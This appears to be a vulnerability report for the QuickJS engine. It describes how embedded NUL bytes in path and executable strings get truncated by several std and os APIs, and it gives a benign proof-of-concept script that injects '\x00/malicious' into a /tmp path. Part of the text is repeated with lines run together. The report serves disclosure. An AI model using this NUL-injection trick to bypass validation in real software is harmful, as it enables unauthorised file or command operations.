QuickJS accepts JavaScript strings containing embedded NUL bytes in several std and os APIs and passes them to NUL-terminated C/POSIX interfaces without rejecting the embedded NUL.
As a result, the underlying operation is performed using only the prefix before the first \0, while the JavaScript caller sees and may validate the complete string.
The issue has been reproduced in at least the following APIs:
std.open
os.mkdir
os.rename
os.symlink
os.exec
This may allow a caller to bypass JavaScript-side path or executable-name validation and cause an operation on a different path or executable from the one represented by the original JavaScript string.
Reproducer example: std.open
var stamp = String(Date.now()) + "_" + String((Math.random() * 0x100000000) >>> 0);
var realPath = "/tmp/qjs_null_std_open_" + stamp;
var badPath = realPath + "\x00/malicious";
var vuln = false;
try {
os.remove(realPath);
} catch (e) {}
try {
var f = std.open(badPath, "w");
if (f) {
f.close();
}
} catch (e) {}
try {
var rf = std.open(realPath, "r");
if (rf) {
vuln = true;
rf.close();
}
} catch (e) {}
try {
os.remove(realPath);
} catch (e) {}
if (vuln) {
std.err.puts("VULNERABLE: std.open truncated path at NUL and created " + realPath + "\n");
std.exit(99);
}
Run:
qjs --std std_open_null_injection.js
echo $?
Observed output:
VULNERABLE: std.open truncated path at NUL and created /tmp/qjs_null_std_open_...
The process exits with status 99 after confirming that the truncated path was created.
QuickJS version
QuickJS version/release: v0.15.1
Git commit: 93d3f7d
Operating system: Ubuntu 24.04 x86_64
QuickJS accepts JavaScript strings containing embedded NUL bytes in several std and os APIs and passes them to NUL-terminated C/POSIX interfaces without rejecting the embedded NUL.
As a result, the underlying operation is performed using only the prefix before the first
\0, while the JavaScript caller sees and may validate the complete string.The issue has been reproduced in at least the following APIs:
std.openos.mkdiros.renameos.symlinkos.execThis may allow a caller to bypass JavaScript-side path or executable-name validation and cause an operation on a different path or executable from the one represented by the original JavaScript string.
Reproducer example:
std.openRun:
Observed output:
The process exits with status 99 after confirming that the truncated path was created.
QuickJS version
QuickJS version/release: v0.15.1
Git commit: 93d3f7d
Operating system: Ubuntu 24.04 x86_64